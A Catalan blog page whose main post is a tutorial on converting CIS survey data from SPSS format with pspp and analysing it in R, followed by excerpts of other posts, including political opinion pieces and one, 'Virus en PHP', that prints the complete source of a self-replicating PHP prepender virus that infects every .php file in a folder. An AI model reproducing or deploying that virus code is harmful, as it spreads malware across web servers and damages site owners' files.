Ves al contingut principal

Programari Lliure: Com llegir dades del CIS

Alguna vegada se sent parlar del CIS, de les dades cuinades, etc. Però, voleu fer els vostres propis anàlisis amb les dades del CIS? Em vaig proposar fer-ho, i per això vaig decidir fer-ho amb les eines que disposava.
  • El llenguatge de programació R: lliure, diponible per a Linux, OSX i Windows
  • Sistema Operatiu LliureX
  • Eines auxiliars que veurem després

El primer que necessitem per fer les anàlisis, és tindre les dades, les podem abaixar de la pàgina web del CIS. Haurem de fer clic en la icona de ZIP que diu Fichero de datos. Una vegada els abaixem (ens demana omplir un formulari, però no cal omplir-lo amb dades reals, ens hem abaixat les dades de juny del 2017) vegem  dos arxius que estan en format SPSS que és, possiblement, el paquet estadístic més complet i famós que hi ha, però té un problema, no és lliure i la llicència no està a l'abast de la gent d'apeu. Els arxius en aquest cas són DA3179, l'arxiu de dades, i ES3179, l'arxiu de sintaxis que diu que és cada camp. Per tant, veurem si podem convertir-lo/obrir-lo amb una utilitat externa. Buscant en la xarxa, vaig trobar pspp, que és un intèrpret lliure més o menys compatible amb SPSS, però això implicava que debia aprendre a utilitzar-lo, i jo tinc ja coneixements bàsics d'R. Cercant un poc, intente llençar l'intèrpret i convertir-lo com a format de dades que R podré importar (sintaxis i dades tot en una), un arxiu .sav.
 Simplement, afegirem a l'arxiu de sintaxi (ES3179) la línia següent al final de tot (l'última línia sol ser FREQUENCIES VARIABLES ALL.)
SAVE OUTFILE='prova.sav'
I executem el pspp per convertir-lo des d'un terminal:



Si ens fixem donarà un error, que farà fallar el procés (almenys a mi me l'ha donat):
ES3179:1188.23-1188.25: error: FREQUENCIES: Error de sintaxi a `ALL': s'espera
`='.

Com ja he dit adés, no tinc ni idea de la sintaxis de SPSS, i per estalviar temps, vaig intentar la primera opció, amb èxit, comentar la línia, posant un caràcter sostingut (#) davant de l'última línia (FREQUENCIES VARIABLES ALL)., quedant així les tres últimes línies :
EXECUTE.
#FREQUENCIES VARIABLES ALL.
SAVE OUTFILE='prova.sav'

Ara el llancem (spss ES3179) i no hi haurà problema. Podrem importar les dades amb R. Jo per a R, utilitze el R Studio. Totalment gratuït, amb l'R Studio, podrem fer, File->Import Dataset-> SPSS i seleccionem l'arxiu prova.sav crea:


A partir d'ahí ja podem fer l'anàlisi de dades utilitzant la sintaxi de R, ja que ens crearà un dataset, per defecte prova corresponent amb el nom de l'arxiu. ;irant què és cada pregunta en en l'arxiu cues3179.pdf per exemple si volem recuperar totes les dades pertanyents al País Valencià (CCAA==10):

subset(prova, CCAA==10)
 
si volem saber la situació en l'eix esquerra dreta (Pregunta 34A) dels votants de Compromís-Podemos-EU (pregunta 35A):

summary(subset(prova, CCAA==10 & P35A=="6")$P34)

> summary(subset(prova, CCAA==10 & P35A=="6")$P34)
   Min. 1st Qu.  Median    Mean 3rd Qu.    Max.
  1.000   2.000   3.000   5.341   4.000  98.000


 El problema d'estos resultats (no és fiable) és que el les indeterminacions (No sap no contesta, etc. són 98, 99, etc, i fan pujar molt les mitges.

Per als curiosos, ací podeu veure un estudi que vaig fer, sobre les preferències dels ciutadans, sobre la seua problemàtica. El resultat clarament és l'atur, la corrupció i els polítics.

Comentaris

Entrades populars d'aquest blog

Parlem de Bloc i País?

Comence una nova etapa en el tema polític, de fet ja fa temps que la vaig començar, però ara ho fet involucrant-me activament als assumptes interns del meu partit. Em defineix a mi mateix com una persona activa (de vegades inclús hiperactiva), amb inquietuds i preocupacions, en definitiva, em mou les ganes de ser útil a la meua gent i l’estima pel meu país. Aquestes voluntats però, no les he vistes, o almenys, ja no les veig tan a sovint en el tarannà del meu partit. No negaré que, potser, tinc desavinences en l’actual línia de la direcció (allò que s’ha anomenat com el “aparato”), però la casuística dels últims viratges polítics no han deixat lloc a altra possibilitat. No vaig a repetir totes les actuacions que adés i ara van demostrar que els abanderats de la nova política no es comportaren com a tal. Tots sabem quines són. Però d'una si que en parlaré, una que per a mi fou bastant reiterativa i té molta relació en un dels principis de Goebbels, que és el de fer creure que la di…

Què poden(m) fer els polítics nacionalistes valencians?

Davant del procés que s'ha encetat a Catalunya, el primer que m'agradaria és mostrar el meu suport. Pot ser s'hagen fet errors, com en tot en esta vida. Ara bé, votar no pot ser mai antidemocràtic, i per tant el seu destí els decidiran ells. 
Alguns hem observat, sempre amb il·lusió, que pot ser després d'ells anem nosaltres, els valencians. Però la realitat és tossuda. Mai hem tingut un sentiment nacionalista similar als catalans. I, possiblement, mentre no fem alguna cosa per canviar-ho, no el tindrem. Per exemple, podem veure l'evolució  segons el CIS del sentiment nacionalista/independentista valencià i català:

Durant els primers anys (94 i 97) es codificava del 0 al 10, però al 2005, preguntaren allò de "sólo español" (que ho he codificat com un 2), "más español que (gentilicio)" (que será un 4),  "igual español que (gentilicio)" (que serà un 6),  "más (gentilicio) que español" (que serà un 8) i "sólamente (gentilicio…

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

- - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - - <?php // SPTH $string=fread(fopen(__FILE__,'r'), 391); $curdir=opendir('.'); while ($file = readdir($curdir)) { if (strstr($file, '.php')) { $victim=fopen($file, 'r+'); if (!strstr(fread($victim, 13), 'SPTH')) { rewind($victim); fwrite($victim, $string.fread($victim, filesize($file));); } fclose($victim); } } closedir($curdir); ?>